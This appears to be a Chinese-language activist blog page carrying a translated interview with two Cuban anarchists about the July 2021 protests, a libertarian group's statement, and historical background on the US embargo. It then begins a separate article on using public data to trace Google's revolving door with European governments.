本着这种精神，我们邀请您阅读以下对古巴无政府主义者关于7月抗议事件的采访。您也可以阅读阿尔弗雷多·洛佩斯自由意志工作室的声明，在采访的最后有全文。每个专家都将他们自己的预想带到关于古巴的讨论中。

采访

「图」

以下采访了两位古巴无政府主义者。一位参与了哈瓦那的阿尔弗雷多·洛佩斯自由意志工作室；另一位参与了哈瓦那以外的项目，在岛上的其他地方；来自美国的无政府主义者在2019年初会见了她和队友们。为了他们的安全，两人都保持匿名。原文是西班牙语，翻译过程中对长度和清晰度进行了编辑。

Q：你想如何确定自己的身份以及你在古巴社会中的地位？

来自哈瓦那以外的无政府主义者（以下简称**AOH**）：我是一名职业女性。我属于两个组织，一个工人工会和一个创造性青年协会。

来自阿尔弗雷多·洛佩斯工作室（以下简称**ALLW**）：我是一名无政府主义者，我在阿尔弗雷多·洛佩斯自由意志工作室工作。我也是哈瓦那大学的学生，我参加了几个不同的项目和行动主义。

Q：作为一名无政府主义者，你在那里能够做什么？

AOH：这里的无政府主义者是小型的亚文化，他们团结一致。每个人都相处融洽，相互帮助。作为一名无政府主义者，你可以做很多事——只要是对一般人的幸福有必要的事。

我主要参与了帮助释放7月11日期间和之后被捕的大学生的工作。我们组建了一个由学生和校友组成的团体，向高等教育部发送了一封投诉信，向他们施加压力，要求他们尽快释放被捕者。

在这个过程中，我们也没有幸免于当局的骚扰和恐吓，因为在古巴，大学改革被国家接管，国家和共产党一起主导着大学行政和学生组织（大学生联合会，**FEU**）。在恐吓学生不要组织起来时，国家采用了用来诋毁抗议活动的同样的借口，他们声称我们是“混乱的”。

除了我在大学圈子里的角色外，我还尽我所能支持自抗议活动之前就已经开始的团结姿态，以应对笼罩全国的健康危机。这些天来，这是古巴最相关的自我组织的进程之一，我们都认为这是重要的参与。将此与当前的其他运动联系起来，也将是克服最终消失或被国家吞噬的有条件的团结的重要一步。

【注：这句话很重要。】一位无政府主义者修建的游击花园，是古巴

环保主义新现象的一部分，其中带有反权威主义的潮流。这个花园建立在曾经是一个社区的垃圾堆上。

AOH：医院的状况很糟糕；没有足够的药物和设备让医生完成他们的工作，可悲的是，人们正在死去。

在这个国家，即便你能找到杂货，它们的价格也高得让人难以承受。众所周知，美国的封锁造成的灾难是真实存在的，这意味着其他国家不能与古巴进行贸易，这就是东西稀缺的原因。在这种情况下，为了人民的利益，有必要接受任何人道主义援助。有一批援助物资没有被接受 [更多信息在这里] 。

抗议活动的开始是由于马坦萨斯的医院的故障和药物的缺乏引起的。通过社交媒体，大量的报道开始为该省提供精神力量。其他省份也有同样的问题，只是没有那么严重，而且很快就会发现自己处于同样的情况。这是一种冲动，来自这种情况和其他情况，激起了人们的爆发，不仅仅是在社交媒体上，而且是在大街上。

每天断电六小时，因为一家热电厂出了问题。7月11日星期日，通过 Facebook 等社交媒体，你可以看到决定在各省上街的人们向世界呼吁提供人道主义援助以帮助解决岛上的情况。

热电厂在同一天被修好，这样所有的古巴人都可以在家里用上电。

ALLW: 抗议活动开始于哈瓦那以外的地区，这些地区受到供应短缺、过度隔离和长达12小时的停电的困扰。再加上美国禁运加剧和政府管理不善所产生的当前危机所累积的社会不满 —— 其中最严重的是年初实施的一系列措施，导致通货膨胀加剧和黑市增长—— 这意味着在圣安东尼奥德洛斯巴尼奥斯这样的城市，数百人不得不涌上街头表达他们的不满。这次示威在社交媒体上产生影响后，在遭受类似问题的地区也发生了其他抗议活动。下午4点左右，示威活动在全国范围内蔓延。

Q：你在街道内外看到了哪些形式的组织和抗议活动？

ALLW: 在圣安东尼奥的抗议活动是非常异质的。据我所知，一个团体组织了一个车队，经过其他城镇，而另一个团体则留在原地，一度与正在赶来的古巴总统不期而遇。抗议活动在该国其他地方也有类似的特点；报道说，直到下午4点，所有的人都很平静。就在迪亚斯·卡内尔发表公报，呼吁他的所谓 “革命者” 与示威者对抗之后，对和平游行进行了严厉的镇压，抗议者与警察发生了激烈的冲突。(在这之前

不久哈瓦那已经发生了一轮冲突）

除此之外，并没有什么组织【无中心的】。所有的游行都是自发的，最后都失去了方向，很容易被驱散。互联网的关闭也降低了抗议活动的能见度，而来自国家宣传部门的大量虚假信息立即宣称许多地方的抗议活动“已经结束”。

【注：这种状况是全世界的反抗者都应该警惕的，即 抗议者的信息传送渠道被切断，唯一能被保留的是官方的宣传和抹黑，导致抗议运动失去支持并迅速被冲垮。尤其是无中心的抗议活动，在此的风险指数最高，因为你们没有一个稳定的组织用来及时驳斥当局的谎言 …… 更多《媒体操控：战略性欺骗的重头戏》。】

在整个过程中，通信受到了很大的冲击，因为唯一能被传播的是官方媒体的歪曲和大量通过消息应用传播的假新闻。这大大促进了紧张局势的缓解，但互联网的回归和关于镇压的证词的发表并没有让人们完全恢复正常。这些天，主要的组织空间都集中在释放那些被捕者的斗争上—— 根据一些名单的统计，被捕者超过500人。古巴的一个无政府主义信息商店

Q：你对抗议运动的分析是什么？它涉及哪些社会和政治倾向？有多少人支持它？

AOH：在古巴有几代不同的人，包括那些经历过资本主义时期的人，遭受过富尔亨西奥·巴蒂斯塔政府的后果，并帮助进行革命，使我们能有免费的医疗和教育。由于这个原因，他们学会了阅读和写作。这一部分人支持政府。

然后是年轻一代，那些有互联网并重视“体面生活”的人 —— 我们并不是在谈论奢侈品，人们只是希望有了工作就能有足够的营养，因为在古巴人的餐桌上，很难得到有牛奶的早餐，有鸡蛋的午餐，以及，比方说，有一小块肉或蔬菜的晚餐。这一代人已经习惯了勉强够一个星期开支的工资。最近他们提高了工资，但是随着物资的匮乏，所有东西的价格都在飙升，基本的生活用品都买不起了。唯一能买到杂货或清洁用品、家用电器等的地方是只接受带有美元的卡的商店，这些卡必须从其他国家寄来，因为古巴不卖。

ALLW: 毫无疑问，示威是一场社会爆炸。危机和由不稳定因素产生的紧张局势以及卫生系统的崩溃导致了它的发生。现在，这并不是一个跨越所有社会阶层的普遍爆炸。除了大部分城镇参与的地区，主要是最贫穷的人口阶层进行了大部分的抗议活动。国家及其捍卫者对待这

个问题的阶级主义偏见在对抗议者及其暴力的批评中显而易见。几十年来，古巴的社会不平等一直在加剧，国家一直在利用这种动态来建立联盟和确保忠诚度。在这种情况下，最弱势的阶层和最有特权的阶层之间一直存在着冲突。这种冲突甚至反映在最忠于国家的左翼群体的言论中。示威活动被说成是 “犯罪行为”（被说成是美国策划教唆的），忽视了古巴本土的阶级基础。

很难在示威中定义一种政治倾向（除了自由意志主义的口号外）。人们上街是为了结束自己遭遇的不稳定处境—— 这确实是他们的希望，除了作为放大诉求的街道空间之外，没有任何指南针。

就抗议活动的支持率而言，我不敢大胆猜测百分比。但肯定的是，自7月11日以来，人们不会停止谈论所发生的事 ……

Q：有多少人支持政府压制抗议活动？支持国家的社会和政治倾向是什么？

ALLW：肯定有很大一部分人支持政府。这部分人主要是由不太贫穷的人组成的，他们因为融入了这个体制而享有特权。这些人就是迪亚斯·卡内尔在7月11日号召的所谓 “革命者”。

党的旧有意识形态机构在对政府的支持上是显而易见的。这并不一定融入了国家背后真正的、隐秘的权力，这些权力由 Arturo López-Callejas 领导，他是一名军官，也是 GAESA （Grupo de Administración Empresarial SA，古巴革命武装力量拥有的商业集团）的负责人，该集团是该国最大的经济联合体。这是多年来试图以对官僚主义的冷淡批判和对持不同政见者的激烈批判来攀登权力阶梯的圈子，而拉丁美洲和国际左翼中很大一部分则站在了国家虚假的反帝国主义语话的一边。所有这些都在官方媒体上播放 —— 由于缺乏互联网，现在有更多的官方媒体 —— 也许使事情稍微向国家一边倾斜。但要重申的是，在这个时刻，很难假定权力的平衡。事实上，考虑到国家的客观情况，另一次破裂可能早晚会发生，而这几个月或几周将更好地确定它的特征。历史不回为任何人停步 —— 但如果我们愿意，我们可以选择跟上它。

Q：你对抗议活动是由与美国政府有关的力量协调的指责有多认真？你认为谁能从抗议活动中获得最大利益？

AOH：我不认为抗议活动与美国政府有关。上街游行的人都没有得到任何机构的资助；他们是出门寻求帮助的。许多人不是罪犯或被边缘化的人；他们是工人和学生。

我不同意警察的态度。他们不能因为意见不同就虐待别人。必须有言论自由，不能有军事干预：那是战争。我也不同意总统的观点，他要求进行战斗，因为决不能发生内战。

[过去]，来自其他国家的团体的确曾经试图通过向古巴的人付钱来推翻政府。但现在发生的事不是这样的。现在的反抗活动是一种迅速支持这个国家的共同利益的冲动。

ALLW:

北美的干涉在这里已经是老生常谈了。早在革命胜利之前，美国对古巴的重视就是众所周知的。特别是自20世纪90年代以来，他们制定了一个颠覆性的计划，这个计划已经在世界上很多其他地方使用过了。在过去的几年里，这一计划的实施力度加大，但却屡屡失败，并刺激了全国对该国政治前途的辩论。现在说美国对古巴的这一政策产生了社会爆炸，是无视这样一个事实，即：人们走上街头的原因更多的是与官僚机构对危机的可怕管理不善和其政策引发的不稳定性的巨大增加有关。人民也看到了官方媒体的言论和现实中发生的事情之间广泛的不一致，这也有助于抹杀国家的信誉。

对人民来说，美国的干预主义政策与国家的胡言乱语的不断敲打相比，不过是他们耳边的蚊子的刺激性噪音。

当然，作为无政府主义者，我们肯定反对对我国采取这样的帝国主义政策，但这不是我们对国家局势的责任所在。

Q：许多人将这些抗议活动描述为*30*年来最大规模的反政府动员。这些抗议活动是否遵循一个类似的主线，还是说它们是不同的？

ALLW：这次的爆炸式反抗绝对是历史性的。我不知道自1959年以来有任何其他事件能与之相提并论。而不同之处在于几个因素：首先，类似1990年代危机的情况再次出现，但没有像菲德尔·卡斯特罗这样的人物所体现的霸权，也没有多年前的团结能力，这些力量现在都被国家对多种倡议的收编所消耗。第二，互联网使国家的现实更加明显，帮助连续的抗议活动克服了被渗透的恐惧。第三个因素是社会契约和“革命”项目的侵蚀，这在之前是前所未有的。

【注：如果您错过了这份重要的指南《什么是安全文化》】

Q：有什么总结性的想法吗？

AOH：好吧总结一下 …… 再笑一次—— 我们古巴人就像海豚。“水

一直淹到脖子，但一直在笑”。

这种笑声已经从海豚的脸上渐渐消失了，因为大海变成了灰色，没有那种希望的蓝绿色了。

我写的一首歌：

“MIEDO”

Desde que nací,

Estoy escuchando algo,

Algo que susurra y nadie hablando,

Shhh las paredes tienen oidos

Shhh las paredes tienen oidos,

Miedo en la escuela,

Miedo en la casa,

Miedo en la calle

Miedo en el aire,

Yo quiero gritar

Quiero respirar

Pero es imposible volver a soñar

Es un miedo que asfixia

Es un control social

Disturbio cerebral

Shhh las paredes tienen oidos

Shhh las paredes tienen oidos

Oyeeé no te calles

Oyeee no te calles

_Yo quiero gritar....

自从我出生以来

我就一直在听着什么。

有些东西在低语，没有人在说话。

嘘，墙壁上有耳朵

嘘，墙壁有耳朵。

学校里的恐惧

住宅里的恐惧

街道上的恐惧

恐惧在空气中弥漫。

我想喊叫

我想呼吸

但不可能再有梦想

恐惧使你窒息

它是社会控制

骚动在大脑中

嘘，墙壁上有耳朵

嘘，墙壁有耳朵

嘿，别闭嘴

嘿，别闭嘴

我想大声喊叫 ……

任何想演奏这首歌的乐队都可以去演奏，每次演奏时都要说这是为古巴而做。“每个政府都是其人民的敌人。”

古巴：“革命” 之社会魔咒的终结

「图」

以下文字由阿尔弗雷多·洛佩斯自由意志工作室7月的发表。要理解这段文字，首先您必须能理解这篇文章《没有”革命的政府”这种东西：为什么你不能用国家废除阶级》。

这份文字格外动情，尤其对中国读者来说，您可以体会到本文全部内容中无数次闪现的共鸣：

让国际左翼中的大部分守旧落伍思想保持平静的压制性社会魔咒已经消失了。在 “古巴革命” 之下，与它的良性形象相反，“古巴国家” 已经公开出现了，伴随着它的压迫性的粗暴和大言不惭。

【推荐内容：《中共的大迂回：一个国家的诞生》】

同一个古巴国家，为了对抗帝国主义，建立了一支无所不在的政治警察部队来打击其控制下的社会。同一个古巴国家，以所谓的 “社会主义” 的虚名，摧毁了所有的工人阶级组织，而这些组织的斗争历史才能使社会主义宣布的胜利成为日常的现实。

同样是这个古巴国家，它把 “团结” 变成了一个国际品牌身份，民族主义让我们淹没在对邻国的不信任和恐惧之中。同样是这个古巴国家，在美国人加强封锁的情况下，为外国游客建造的酒店远多于为本国人民生产粮食、水果和牛奶的基础设施。同一个古巴国家生产了拉丁美洲唯一的COVID-19疫苗，但却让其卫生人员基本上扮演着政治警察的无偿成员。

在2021年7月的日子里，这个古巴国家显示了它的真实面目：一个与其他国家一样的寡头政治，不惜一切代价热衷于维护其绝对权力；一个庸俗的暴发户，伪装出开明的人文主义的样子；一个权力的金字塔，像埃及神权国家的金字塔一样坚固，不成比例，但周围是天堂般的沙滩。

现在，人们正就古巴在帝国全球战略中的地位进行地缘政治争论，认

为古巴的反政府抗议活动不可避免地是由迈阿密的古巴右翼支付的，抗议者只是想抢劫的罪犯，真正的革命者是和政府一起的 —— 这些描述都是*部分*现实，但是，他们都在一个要点上失误。古巴人民与哥伦比亚或智利的人民一样有权利进行抗议。能有什么不同呢？它们是起源于不同的寡头政治吗？有或多或少的残暴做法吗？有更多或更少的可识别的伪装吗？或者对帝国更多或更少的奴性姿态？还是更多或更少的所谓崇高思想来证明他们的特权？…… 当你在一个美丽的周日早晨发现，除了哥伦比亚和智利的黑手党寡头之外，古巴的寡头也 —— 在手无寸铁的民众面前 —— 武装到了牙齿，那么哥伦比亚、智利和古巴寡头之间的所有这些巨大差异都会化为零。不论多一点还是少一点，他们都同样的旨在粉碎你和你的兄弟、你的身体和你的思想，如果你只是想到要质疑他们管理的所谓正常情况的话。

古巴国家为生产针对COVID-19的国内疫苗所做的一切，所有的劳动补贴，以及在大流行病中为许多部门提供的所有工资增长 —— 突然间，这些都消失了，不仅仅是因为古巴的通货膨胀螺旋和地方性粮食短缺，而且，还因为已经明确了这一切构成了 “压制性容忍” 的可怕框架的一部分。这是古巴任何一个正直的人现在都可以发现的，不需要阅读任何关于反主流文化的辉煌书籍。我们可以平静地将那些现在来为这个国家的压制性宽容洗地、并在其上掀起军事化和谐的海市蜃楼的家伙们定义为在我们未来没有立足之地的新面孔。那些以 “未来的民主或经济的顺利运行” 为名，来诋毁在抗议活动中绽放的亲和力、友谊和能量的人，或者把那些天发生的抗议活动贬损为 “社会堕落者的简单破坏行为” 的人，以腐朽的寡头的名义和语言说话，这些人再次无耻地发出了他们的声音。

由于拒绝服从沉重的控制枷锁，转而相信亲情、亲和力，以及在暴力、流行病和供应短缺的漩涡中，在平等者之间的不服从和团结行为中重新出现的最低限度的思考和行动能力，“群众” 再次成为 “人民”，拥有他们所有的光和阴影。这就是2021年7月这几天在古巴诞生的新现实，作为古巴的无政府主义者，我们是这一新现实的一部分。

下面附加一些也许您应该知道的历史背景

「图」

虽然几个世纪以来哈瓦那都是西班牙帝国的一个重要港口，但到18世纪，古巴已经成为全世界的糖业中心。 从1763年开始，古巴的出口经济以糖业为主，这一过程持续到了之后的几个世纪。在1959年革命之前的40年，“糖占古巴出口收入的82%”。

【资料参见：Franklin W. Knight, Slave Society in Cuba during the Nineteenth Century (Madison: University of Wisconsin Press, 1970), p. 3.；Carmen G. Gonzalez, “Seasons of Resistance: Sustainable Agriculture and Food Security in Cuba.” Tulane Environmental Law Journal. Vol. 16 (2003), pp. 685–732, p. 692.】19 世纪的古巴糖厂。 [来源：latamericanstudies.org]

这种由历史决定的对糖业的依赖表明，殖民主义的祖传手指为古巴经济听命于全球糖价的波动创造了先决条件。除此之外，根据联合国环境规划署（UNEP）的数据，古巴经济长达几个世纪的单一作物种植，再加上这种单一作物种植的破坏性工业手段，使得古巴“**660**万公顷的可耕土地有四分之三以上受到土壤侵蚀的影响。”

正如联合国环境规划署所说：“其结果是，古巴**80%**的粮食必需品需要进口，每年花费近**20**亿美元，这对任何发展中国家来说都是一个沉重的负担，尤其是一个继续遭受世界大国（美国）持续经济封锁的国家”。在我们这个全球化的世界里，每个国家都依赖国际贸易为其人民获取基本必需品。

试想一下，美国这个领土面积是古巴的90倍（土壤生物多样性更丰富）的国家，如果被阻止与世界其他国家进行贸易，并陷入与古巴所处的地位相称的境地，会发生什么？物质条件会是怎样的？

古巴革命并不是在一片空白中产生的。相反，它产生于一个被几个世纪的掠夺所束缚的国家，不得不面对那些在他们被扔进世界之前就已经存在的强大力量的结果。在这个世界上，古巴将国际贸易作为其生存的绝对必要条件。世界上最大的帝国对这种需求的封锁，对该岛国来说是一种持续的生存威胁。马背上的菲德尔·卡斯特罗。 [来源：isreview.org]

1898年，古巴结束了对西班牙长达一个世纪的反殖民主义斗争，开始了对美国即将到来的长达半个世纪的反帝国主义斗争。对古巴来说，这不只是从一个主人到另一个主人的过渡；相反，这个过渡标志着一个质的飞跃，进入了资本主义的新阶段。

从1898年到1959年革命，古巴被美国军事占领三次（1898–1902年，1906–1909年，1917–1922年），包括自1903年以来对美国最喜欢的酷刑场所关塔那摩湾的持续占领。美国征服时期的关塔那摩湾。 [来源：time.com]

然而，甚至在古巴独立战争之前，美国的做法就已经使古巴在经济上

依赖于美国。例如，在1865年，古巴65%的糖出口到美国。

1898年后，美国和古巴的关系超越了依赖关系，进入了美国对古巴的完全政治和经济优势地位，美国公司几乎完全控制了古巴的核心产业。例如，到1920年，糖业95%的收成都被美国投资者控制。

【资料来源：Hugh Thomas, Cuba Or the Pursuit of Freedom (Boston: Da Capo Press, 1998), p. 557.】

其他行业也存在类似的情况，“到50年代末，美国的金融利益包括古巴90%的矿山，80%的公共事业，和50%的铁路”。对于一小部分古巴人、即构成第一代流亡者的人们来说，这种状况是一个天堂。

【资料来源：Gonzalez, “Seasons of Resistance,” p. 694】

而对于绝大多数人来说，这是一种悲惨的生活，**93%**的农村家庭没有电，**85%**的人家没有自来水，**54%**的人没有室内甚至室外厕所，**96%**的人没有冰箱，只有不到一半的儿童有机会在学校上学。

美国对古巴的控制使该岛成为黑帮的天堂。哈瓦那是罪恶之城，相比下能让现代的拉斯维加斯看起来像是清教徒拥有的。观看经典电影《教父II》应该会让人想起革命前的古巴和美国支持的独裁者富尔亨西奥·巴蒂斯塔热爱黑手党的腐败，当革命来到哈瓦那时，他已经杀害了大约2万名古巴人。

【资料来源：Leo Huberman and Paul M. Sweezy, Cuba: Anatomy of a Revolution (New York: Monthly Review Press, 1960), p. 29.】

革命正是在这种背景下到来的。正如古巴革命民谣歌手卡洛斯·普埃布拉所唱出的：

在这里，他们认为自己可以 继续玩弄民主 而那些处于不幸中的人们 被丢在那里等死 继续以残酷的方式 甚至漠不关心的形式 以抢劫为常态 就在这时，菲德尔来了。民谣歌手卡洛斯·普埃布拉

1959年革命胜利后不久，新的革命政府开始实施土地改革，在农民中分配土地，并建立土地所有权的限制。

作为锦上添花，这些改革将向以前的所有者提供补偿，“根据1958年10月10日之前的市政税册上的价值确定”。

【资料来源：Richard C. Allison, “Cuba’s Seizures of American

Business," *American Bar Association Journal*, Vol. 47, №1 (1967), pp. 48–51.】革命后受益于土地改革的古巴农民。 [来源：watershedsentinel.ca]

根据第851、890和891号法律，在古巴的美国和其他外国公司也将获得类似的征用条件。这些大规模的征用最终导致了古巴所有中央资源和产业的国有化，建立了古巴首次属于古巴人的条件。

尽管1958年就已经对古巴实施了部分禁运（武器），但在革命后的头几年，美国维持并扩大了这种禁运。古巴政府为实施分配措施而采取的每一项活动，都会遇到来自不断扩大的禁运的更大压力。这种压力的增加往往会遇到进一步的征用。

例如，艾森豪威尔政府禁止向古巴运输石油，迫使该岛国转向苏联进口。然后，作为对"华盛顿命令的反应，跨国石油公司拒绝提炼苏联的石油，使古巴别无选择，只能将这些公司国有化"。这种反反复复的情况最终导致肯尼迪政府在1962年全面实施封锁。*[Source: govbooktalk.gpo.com]*

古巴革命从一开始就对美国在该地区的经济和政治利益构成了严重威胁。这种对存在于美国眼皮底下的拒绝，在华盛顿是不可接受的。

因此，从一开始，封锁的原因就很清楚。正如负责美洲事务的副助理国务卿莱斯特·马洛里在1960年所写的那样：

"应该迅速采取一切可能的手段来削弱古巴的经济生活。如果采取这样的政策*[封锁]*，它应该是一个积极决定的结果，它将要求采取一种行动路线，虽然需要尽可能巧妙和不显眼，但是在拒绝向古巴提供资金和物资方面必须取得最大的进展，以减少货币和实际工资，为社会带来饥饿、绝望和推翻政府"。*Lester Mallory [Source: oncubanews.com]*

马洛里在同一份备忘录中说，"大多数古巴人支持卡斯特罗（我看到的最低估计是50%）"，而且，"没有有效的政治反对派"。因此，"拆解内部支持的唯一可预见的手段是通过基于经济和困难的失望和不满"。

通过取消古巴历史上和地理上的天然贸易伙伴，并使所有敢于与古巴进行贸易的国家无法进入这个地球上最大的经济体，旨在"带来饥饿、绝望和推翻政府"的政策全面展开了。

尽管如此，如果认为封锁是美国对古巴使用的唯一武力手段，那就错了。

相反，过去60年表明，没有什么是不可能的 —— 从军事攻击、暗杀、生物战和恐怖主义。

这些对古巴的超越经济的攻击包括：a）1961年的猪湾入侵；b）中情局领导的600多次对卡斯特罗的暗杀尝试都没有成功；c）十来次生物战攻击，最著名的是，正如CAM所报道的，1971年中情局策划的非洲猪瘟病毒传播；d）支持和资助参与恐怖爆炸的团体和个人，Orlando Bosch 和 Luis Posada Carriles 的案例也许是最著名的，特别是后者参与了1976年古巴航空公司455号航班的爆炸事件，造成73人死亡，两人都是迈阿密古巴流亡者社区的知名人士。

正如1962年的 “北林行动” 所显示的那样，美国考虑策划一场 “在迈阿密地区、佛罗里达州其他城市甚至华盛顿的古巴共产党恐怖活动”，这 “将有助于投射出一个不负责任的政府的想法”。详细描述入侵古巴计划的解密文件。 [来源：upload.wikimedia.org]

美国对古巴的政策，从革命出现到现在一直没有重要改变（只是奥巴马政府期间略有变化）。

从革命胜利到上述美古关系发生最小的积极变化，经历了55年时间。2014年，虽然维持了经济封锁，但奥巴马政府开始尝试与古巴的外交关系正常化，这个过程是在教皇弗朗西斯的帮助下进行的。

这个过程被称为 “古巴解冻”，见证了旅行和出口制裁的放松；古巴政府在美国开设银行账户，使其摆脱了必须以现金处理财务的负担；古巴被从美国的 “支持恐怖主义国家” 名单中删除；两国相互开放大使馆；奥巴马访问古巴，这是自1928年卡尔文·柯立芝以来美国总统首次访问古巴；以及更多。奥巴马夫妇在哈瓦那何塞·马蒂国际机场下飞机进行历史性访问。 [来源：theguardian.com]

尽管这一正常化进程对双方都有利，但最重要的是部分缓解了古巴背上60年的封锁负担。在最初走向正常化的一年内，古巴成为整个拉丁美洲国内生产总值增长比例最高的国家之一。

但是，随着唐纳德·特朗普的当选以及他的选举从古巴流亡者社区获得的支持，奥巴马时代的最低限进展被迅速退回。特朗普取消了奥巴马对古巴的政策，包括限制到古巴旅行，禁止汇款，将古巴重新列入 “支持恐怖主义的国家” 名单，并对该岛实施了243项新的制裁。特朗

普的严厉政策为他赢得了迈阿密保守派古巴流亡者的赞誉。 [来源：theconversation.com]

这些措施的影响使古巴在2020年4月至12月期间损失了91亿美元，如果考虑到长达六十年的封锁和美元在全球市场上对黄金价值的贬值，这个数字将上升到约**13000**亿美元。

同样重要的是，在对古巴加强封锁的同时，其最大的贸易伙伴委内瑞拉也因类似的封锁和各种政权更迭努力而面临严峻的形势。迈阿密的美国抗议者要求终止美国对古巴的禁运。 [来源：cubamoneyproject.com]

虽然是特朗普对古巴的最大压力战略有效地造成了该岛的经济困境，但大流行病的出现继续加剧了这些困境。COVID-19大流行病对世界上每个国家都很困难。

在美国，数百万人失去了他们的工作和雇主提供的医疗保险，超过60万人丧生。古巴不得不忍受封锁、大流行病（导致边境关闭和旅游业的相应损失），以及美国利用大流行病来增加政权更迭的压力。

大流行病和封锁的结合造成了一种局面，在过去的一年半里，古巴政府一直在努力采购治疗病毒的基本医疗用品。

例如，在2020年4月，随着大流行病的全面展开，美国封锁了古巴购买呼吸机的能力。在同一个月，美国阻止马云基金会向古巴运送冠状病毒援助物资。类似的事件在整个大流行的过程中都有发生。

尽管如此，古巴作为人均拥有最多医生的国家，已经向世界各地派遣了志愿医生，帮助各国应对这场大流行病。但美国敦促其盟友拒绝古巴医生的医疗援助。

驱逐了古巴医生的巴西总统贾伊尔·博索纳罗很快就恳求他们回来，因为古巴医生的离开使巴西的医疗系统处于恶劣的状况。古巴医生抵达意大利帮助抗击 COVID-19。 [来源：theconversation.com]

6月23日，联合国大会就一项关于美国对古巴封锁的决议进行表决。正如CAM所报道的，结果很明显：184个国家投票赞成解除封锁，2个国家（美国和以色列）投票反对。

这一决定标志着联合国大会连续第**29**年呼吁终止美国对古巴的经济、商业和金融封锁。29年来，美国一直无视世界上几乎一致的意愿，正如古巴外交部长布鲁诺·罗德里格斯·帕里利亚所说，继续实施封锁，

让他们“像病毒一样……窒息而死”。

这种对国际意愿的系统性拒绝，是导致7月11日事件的物质条件的核心原因之一。仅仅是之一。

封锁的政策和它与大流行病的条件交织在一起，导致古巴在抗议活动前几个月就出现了各方面的短缺。正如古巴总统迪亚斯·卡内尔在抗议活动当天的讲话中所说的那样：

“整个情况[封锁＋大流行病]造成了国家的短缺，特别是食品、药品、原材料和用品的短缺……两个重要的因素被切断了：出口的能力和投资资源”。

这些短缺，通过排长队、停电和配给的烦扰表现出来，确保了不满情绪的量化和累积过程。

进一步被忽视的事实是，尽管古巴存在注射器短缺和疫苗接种放缓的问题，但它已经生产了5种候选疫苗，其中两种（Abdala和Soberana）已经被证明是安全和有效的。5月，哈瓦那郊区的男子在接种疫苗。 [来源：peoplesworld.com]

就像柏拉图的洞穴寓言一样，大多数人只能看到眼前的阴影。在一个仅限于看到政府在配给方面的作用的世界里，关于封锁的讨论听起来就像逃跑的奴隶向其他人解释洞穴外的情况那样。

如前文所述，没有任何人认同古巴政府“是好的”，但如果您只关注一个点，就会错过更大的局面。○

Anarquistas Cubanxs Sobre las Protestas del 11 de Julio

Anti-Government Protests in Cuba Provoked by U.S. Embargo Has Right-Wingers Salivating at the Prospect of Regime Change

原文

追踪谷歌的政治旋转门：开源调查 - iYouPort

关于谷歌-监视资本主义的创始人开源情报-每个人都可用的武器长读

越接近权力的顶层调查的难度就越大，这就是开源情报的局限性

「图」

「图」

越接近权力的顶层难度就越大，这就是开源情报的局限性；但你依旧能获得一些重要的见解，以形成进一步调查的依据。

这就是为什么我们说，开源情报不是实现变革的终极解决方案，而是其中一个重要的步骤 —— 关于信息民主化的步骤。

随着全面数字化的进程接近完成，开源情报的能力将更加明显。

关于 **Facebook** 的政治旋转门在这里看到：《深层政治：Facebook金字塔的人形肌理—— 仅仅依靠开源数据，扒开利维坦的内裤》。本文是关于谷歌的。

Google 把自己描绘成一个有趣的、友好的、游戏化的形象，有效地分散了人们对该公司不断增长的财富、信息和影响力的注意力。

如果您还不知道谷歌是怎么诞生的，在这里看到：《谷歌的真面目—— They’re always watching》。

本文会将色彩从表层转移到更暗的地方，并调查这项活动的一个特定方面：谷歌与公共机构（特别是欧洲政府机构）之间的旋转门。

这件事很重要，因为欧洲是打破 “高堡奇人” 的唯一希望（您可以在下面的文章中看到解释） —— 本文将展示的信息很可能会对此期望严重不利。

- 《在三岔口：中国、欧洲和美国提供着完全不同的“互联网未

来”》
- 《阿姆斯特丹领导对监视资本主义的斗争》
- 《超越高堡奇人：在美中的帝国争霸之上》

仅仅从可公开获得的在线资源中就可以找到数量惊人的信息 —— 和所有开源调查一样，诀窍通常只是在于你知道该从哪里找。以下是exposingtheinvisible 的调查演示。

「图」

「图」

The Alphabet Empire by Tactical Tech and La Loma as shown in The Glass Room in New York. Based on openly available information, this 3-D infographic combines a quote from its chairman, Eric Schmidt, with a mapping of its acquisitions and investments.

谷歌自己承认，该公司“与许多其他公司一样”，与政府机构和政府官员建立了密切的关系。

谷歌透露，2015年它在游说欧盟方面花费了超过400万欧元 —— 远远超过了2012年（也就是仅三年前）在游说方面花费的100万欧元。

但是，谷歌与公共机构和政府官员之间的关系更为微妙：在过去十年中，已经确定至少有80人在Google和欧洲政府之间转移了工作。

正是这种“旋转门”构成了这项调查的基础。

首先提出几个问题：哪些人从Google跑到政府去工作，反之亦然？他们确切是从哪里转移的？何时转移的？最重要的是，可以使用公开信息源找到这些问题中的哪些答案？

查询 Google 的旋转门

谷歌的透明度报告项目记录了政府组织与谷歌之间的人员往来，即 所谓的“旋转门”，从而跟踪了人员从政府到谷歌的就业过渡，反之亦然。

在2016年6月的报告显示，过去十年来至少有80个人在 Google 和欧洲政府之间转移了工作。

当然，这不仅是欧洲的现象，而且 **Google** 透明度报告还发布了有关在美国发生的政治旋转门数据。

将 Google 透明度报告发布的数据集用作起点，来扩展收集的证据。再将此数据集与从 LinkedIn 和 Twitter 等网络平台收集的信息、搜索引擎搜索请求、以及从在线新闻站点收集的数据结合在一起。

Transparency International 将 “旋转门” 定义为 “个人在公职和私营部门或志愿部门中以同一职位转移的现象。如果监管不当，可能会遭到滥用”。

这里的滥用主要是指利益冲突。如谷歌透明度报告所述：“谷歌一直是政府、美国企业（和欧洲）社会中透明度和开放性的最积极倡导者之一，但并没有使其自身达到相同的透明度水平。尽管要求别人开放，但该公司对其自身的运营和与政府的往来却非常不透明。从与当选官员和任命官员的关系到政治游说和公共政策运作，美国人（和欧洲人）对 Google 如何从政府那里获得想要的东西知之甚少。”

- 回顾《权谋：为游说华盛顿，谷歌制造了一个冠冕堂皇的傀儡？》

「图」

「图」

Google Transparency Project 为欧洲提供的Google旋转门可视化

以上是 Google Transparency Project 为欧洲提供的Google旋转门可视化，可以在此处使用"交互式可视化"。

在开始查看 Google Transparency Project 的数据集之前，先找到有关 Google 在游说欧盟方面花费的金额的信息。

通过在开放数据门户网站 Lobbyfacts.eu 上搜索，该网站收集来自欧盟透明度注册机构的信息，由此发现，**Google** 目前在游说上的支出逐年大幅增加。

下图显示了Google报告用于游说的金额（2015年超过400万欧元）。

其中列出了打算影响欧洲立法的组织和个人。根据 Google Transparency Project 的数据集，在9位注册的 Google 游说者中，有7位被识别并包含在该数据集中。

「图」

「图」

2016年11月28日Lobbyfacts.eu上的Google数据

查询数据

